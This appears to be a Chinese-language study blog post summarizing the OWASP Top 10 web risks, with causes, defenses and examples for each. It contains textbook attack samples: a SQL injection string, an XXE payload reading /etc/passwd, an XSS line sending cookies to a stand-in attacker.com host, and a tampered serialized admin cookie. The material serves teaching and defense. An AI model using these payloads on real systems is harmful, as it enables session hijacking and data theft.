OWASP Top10 2020

什么是OWASP

之前主要是做二进制，最近找工作的时候看到很多公司要求掌握WEB漏洞，所以简单地学习一下。OWASP(Open Web Application Security Project）是一个在线社区，主要在Web应用程序安全领域中提供文章，方法论，文档，工具和技术。OWASP Top 10列出了公认的最有威胁性的Web应用安全漏洞。最新版的报告，2017年的Top10如下

Top 10 Web Application Security Risks
1.Injection. Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
2.Broken Authentication. Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities temporarily or permanently.
3.Sensitive Data Exposure. Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
4.XML External Entities (XXE). Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.
5.Broken Access Control. Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.
6.Security Misconfiguration. Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.
7.Cross-Site Scripting XSS. XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
8.Insecure Deserialization. Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.
9.Using Components with Known Vulnerabilities. Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.
10.Insufficient Logging & Monitoring. Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.

接下来逐条介绍

漏洞简介

1. Top1-注入

当用户发送不可信地数据到解释器的时候，就可能出现注入漏洞，比如SQL, NoSQL, LDAP注入，解释器可能会将用户发送的恶意数据视为指令或数据库查询，使得用户在没有权限的情况下访问数据，甚至导致用户完全控制服务器。
漏洞成因：

• 用户数据没有被验证，过滤或净化。
• 在没有使用context-aware escaping 的情况下，动态询问和非参数化调用被解释器直接使用
• 恶意数据被直接使用到对象关系映射(object-relational mapping,ORM）中
• 恶意数据被直接使用或拼接到指令上，导致SQL或命令中包含恶意数据

避免方法

• 使用安全API，参数化的接口或ORM工具
• 使用输入字符的白名单，并不是很好用
• 对特定的解释器，转义所有特殊字符。当数据库中表名包含特殊字符时不好用。
• 使用 LIMIT等语句避免泄漏大量数据

例子

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; 

当我们的参数为id='or'1'='1，就会导致用户获得整个表

2.失效身份验证和会话管理

应用中负责认证和会话管理的部分没有正确实现，使得攻击者得以泄露密码，口令或令牌，进而可能获取其他用户的身份。
漏洞成因

• 允许自动化的攻击，如凭据填充（credential stuffing,撞库）攻击。
• 允许爆破等攻击
• 允许默认，弱，广为人知的密码
• 使用弱，或无效的凭据恢复和忘记密码策略
• 使用明文，加密或弱hash的密码
• 使用损坏的或无效的多因子认证
• 在URL中暴露会话ID
• 在成功登录后没有轮换会话ID
• 没有及时把会话ID，验证令牌等信息无效化。

避免方法

• 实现多因子认证以组织自动化攻击和凭据重用。
• 避免使用默认密码
• 进行弱密码检查
• 对齐密码长度，复杂度
• 确保注册，凭据恢复和API被加固以抵御账户枚举攻击
• 限制或延迟失败的登录尝试，并记录所有失败尝试并在发动攻击时报警
• 使用服务端，安全，内置的会话管理，确保对于每次登录生成随机会话ID。会话ID不应该在URL中，且应该及时销毁。

例子
用户登陆后没有退出，而是关掉了浏览器，只要使用相同的浏览器，且会话没有及时销毁，就能访问。

3.敏感信息泄露

许多web应用和API没有很好地保护隐私数据，比如金融，医疗。攻击者可以偷取或修改这些数据，从而进行信用卡诈骗，身份窃取等。敏感数据在传输过程中应当使用额外的安全措施以避免泄露。
漏洞成因

• 数据明文传输
• 数据明文存储
• 使用弱密码算法
• 使用默认密钥，弱密钥，重用密钥
• 没有强制使用安全措施
• 用户终端没有验证接收到的服务器凭据是否有效

避免方法

• 分类数据，确认哪些数据是敏感的
• 按照分类控制数据
• 尽量不存储敏感数据
• 确保加密所有存储的敏感数据
• 确保使用强的加密算法，使用合适的密钥管理
• 确保传输的敏感信息加密
• 包含敏感数据的响应不缓存
• 使用强的，加盐的hash函数存储密码
• 独立验证配置的有效性

例子
攻击者将链接从https降为http，拦截用户发送的包，偷取其中cookie，进行重放攻击，劫持会话，从而获取用户隐私信息。他们也可以直接修改传输的包中的数据。

4.XML外部实体注入攻击（XXE）

许多老版本或弱配置的XML解析器在处理XML文件内的外部实体时，会去运行其中的代码。外部实体可以使用文件URI关闭系统内部正在运行的文件，导致无法提供功能。
漏洞成因

• 应用接受XML或XML上传，或向XML中插入了不可信数据。
• XML解析器或基于SOAP的服务器启用了DTD(Document Type Definition,文档类型定义)
• SAML（安全断言标记语言，基于XML的身份验证）被用于实体处理。
• 使用1.2版本之前的SOAP，它可能易受XXE攻击，如果XLM被直接传给SOAP的话。
• 易受XXE攻击的服务器会受到billion laughs attack之类的DoS攻击。

避免方法

• 只要有可能，使用JSON之类的简单数据格式，不序列化敏感数据。
• 及时打补丁，升级XML解释器以及使用的库。使用Dependency-check之类的工具。升级SOAP到1.2及更高
• 在解析器中禁用XML外部实体和DTD
• 使用服务端输入白名单，过滤，格式化来避免XML文件中的恶意数据
• 验证XML和XSL文件上传功能中是否使用XSD（XML Schema Definition）及类似的验证功能
• SAST工具能够帮助检测源码中的XXE
• 使用虚拟补丁，API安全网关，WAF等手段

例子

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
<foo>&xxe;</foo> 

5.失效访问控制

认证用户权限的限制往往没有比较好地配置，这导致攻击者能够利用这些缺陷访问未授权的功能和数据。
漏洞成因

• 通过修改URL，内部应用状态，HTML页面绕过访问控制检查
• 允许查看和编辑其他用户的账号
• 提权。
• 元数据操纵，比如重放或伪造JWT token, cookie或隐藏的用于提权的域，或破坏JWT无效机制
• CORS(Cross-Origin Resource Sharing)错误配置允许未授权的API访问
• 强制浏览未授权的页面，API没有进行访问控制

避免方法

• 除了公共资源外，默认禁止访问
• 实现访问控制机制并在系统内到处重用，最小化CORS使用
• 模型访问控制应该强制记录拥有权，而不是用户都能增删改查每一条记录
• 禁止列出WEB服务器目录，确保元数据和备份文件不在根目录
• 记录访问控制失效，合适时警告管理员
• 限制访问API的频率，最小化自动攻击工具的损害
• JWT token应该在登出后立刻失效

例子

pstmt.setString(1, request.getParameter("acct")); 
ResultSet results = pstmt.executeQuery( ); 

攻击者只需要在浏览器中将acct修改为任意用户名即可实现攻击

6.安全性错误配置

安全性错误配置是一种非常常见的问题，网站管理员往往会保留默认配置，这导致了很多安全性问题。系统，应用，框架，库不止应该被安全地配置，他们还应该被及时更新。
漏洞成因

• 在应用栈中任意一处没有安全加固，云服务器授权没有正确配置
• 非必要的特性被启用或安装
• 默认账户和密码没有改变
• 错误处理泄露出了栈追踪，或其他包含信息过多的错误消息被泄露给了用户
• 可升级的系统中最新的安全特性没有被启用或正确配置
• 应用服务器，应用框架，库，数据库中的安全设置没有被设为安全值。
• 服务器没有发送安全头或指令，或是他们呢没有被正确设置
• 软件过时了，易受攻击

避免方法

• 可重复的加固程序，能够更快，更容易地部署环境。确保开发，QA,生产环境配置完全相同，但使用不同的凭据。这个程序应该自动化，以最小化安装安全环境地代价。
• 最小的平台，不包含任何非必须地特性，组件，文档。
• 包管理工具中检查并更新安全配置
• 分段应用结构，使用分段，容器化，云安全组等手段分开组件和用户。
• 发送安全指令到客户端
• 使用自动化进程以验证所有环境中配置的有效性

例子
应用服务器中带有案例应用。这些应用中带有攻击者已知的安全漏洞，如果其中一个是admin命令行，默认账号没有修改，攻击者就可以控制服务器。

7.Cross-Site-Scripting(XSS)

XSS漏洞出现在当web页面包含不可信的数据，却没有合适的验证手段来找到它的时候。XSS使得攻击者能够在受害者的浏览器中执行脚本，从而劫持会话，或重定向到恶意站点。
漏洞成因

• 反射型XSS：应用或API包括未验证的或非转义的用户输入作为HTML的输出的一部分。成功的攻击能够使得攻击者在受害者的浏览器上执行任意HTML和JavaScript。
• 存储型XSS：应用或API存储未格式化的用户输入，且该输入之后会被其他用户或管理员浏览到。
• DOM XSS：动态包含攻击者可控制数据到页面中的JavaScript框架， 单页应用，API易受DOM XSS。

避免方法

• 使用自动转义XSS的框架，比如React JS。学习每种框架的XSS保护，并手动处理用例没有覆盖到的部分。
• 转义不可信的HTTP请求数据能够解决反射型和存储型XSS威胁。
• 在客户端修改浏览器文档时应用内容敏感的编码以抵御DOM XSS。或使用相似的内容敏感转义技术。
• 启用CSP(Content Security Policy),这是一种对抗XSS的纵深防御弥补控制。

例子

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; 

攻击者只要将CC参数修改为

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. 

就会使得受害者的cookie被发送到攻击者的网站，进而劫持会话。

8.不安全的反序列化

不安全的反序列化经常会导致远程代码执行。也能用于进行重放攻击，注入攻击，提权攻击。
漏洞成因

• 对象和数据结构相关攻击：当存在类能够在反序列化过程中或是之后改变应用表现，攻击者就能通过这个类修改应用逻辑，或实现任意远程代码执行。
• 典型数据篡改攻击：如访问控制相关攻击，当数据结构存在而内容又能被修改。

避免方法
唯一的安全模式是不接受来自不可信的参与者的序列化对象。如果不得不接受，使用以下策略：

• 对任何序列化对象进行完整性检测，比如数字签名以防止数据篡改或恶意对象。
• 在反序列化过程中强制严格的类型限制。
• 在低权限环境中独立运行反序列化代码
• 记录反序列化异常和错误，比如收到的类型并不是期望的类型。
• 限制或监管入的和出的来自反序列化的容器或服务器的网络链接
• 监管反序列化，当用户一直反序列化时报警。

例子

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} 

若某站点使用如上图数据结构保存cookie，攻击者可以将cookie修改为下图形式

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

如果Alice是管理员，且密码为攻击者命中，攻击者就会得到管理员权限。

9.使用具有已知漏洞的组件

库，框架等软件组件和应用有着相同的权限。如果存在有漏洞的组件，那么攻击就能够导致数据泄露甚至控制服务器。组件中的漏洞会导致整个应用和API安全性的下降。
漏洞成因

• 管理员不知道使用的所有组件的版本，包括直接使用的和嵌套的
• 软件易受攻击，不再支持，或是过时了。包括OS, web服务器，DBMS，APIs和所有组件，运行时环境，库。
• 没有周期性扫描漏洞，没有关注所使用组件的安全公告。
• 没有及时修复或升级平台，框架，依赖。
• 软件开发者没有测试升级，更新，补丁的兼容性

避免方法

• 移除不再使用的依赖，不必须的特性，组件，文件，文档
• 持续地列出目前之用的组件和依赖地版本，使用诸如DependencyCheck 之类的工具。持续关注CVE, NVD上的关于对应组件的漏洞。使用SCA(software composition analysis)自动化这个过程，订阅关于所使用组件的邮件通知。
• 只从官方来源得到组件，签名的包更好。
• 关注不再维护的库和组件，如果打补丁不再可能，考虑部署虚拟补丁。

例子
大部分IoT设备很难被打补丁。

10.日志记录和监控不足

日志和监控不足，再加上缺失或无效的事件响应，允许攻击者进一步攻击系统，他可以转向更多系统，进行篡改，提取，销毁数据。大部分研究表明违反往往会在超过200天后才被检测出来，而且还是由外部参与者检测到的。

漏洞成因

• 可审计的事件，比如登录，登录失败没有被记录。
• 警告和错误没有产生足够的，清晰的日志消息
• 应用和API关于可疑活动的日志没有被监管。
• 日志只本地存储
• 没有设置合适的警告阈值和响应升级流程
• 渗透测试和扫描工具没有触发警告。
• 应用无法实时检测，或对攻击做出警告

避免方法

• 确保登录，访问控制失败，服务断输入验证失败等事件会被日志记录，同时记录足够多的用户上下文以确定可疑账号。保存足够长的时间以用于分析。
• 确保日志以一定格式生成，便于日志管理。
• 确保高额转账带有审计跟踪和完整性控制以避免篡改或删除
• 建立有效的监管和报警机制，使得可疑活动被及时检测和响应。
• 建立事件响应和恢复计划。

例子
攻击者用常用密码撞库，每个账户只登录失败一次，如果没有合适的报警机制就会忽视。
恶意软件检测沙盒报警了很多次确没有引起重视，最后因为盗刷银行卡被察觉。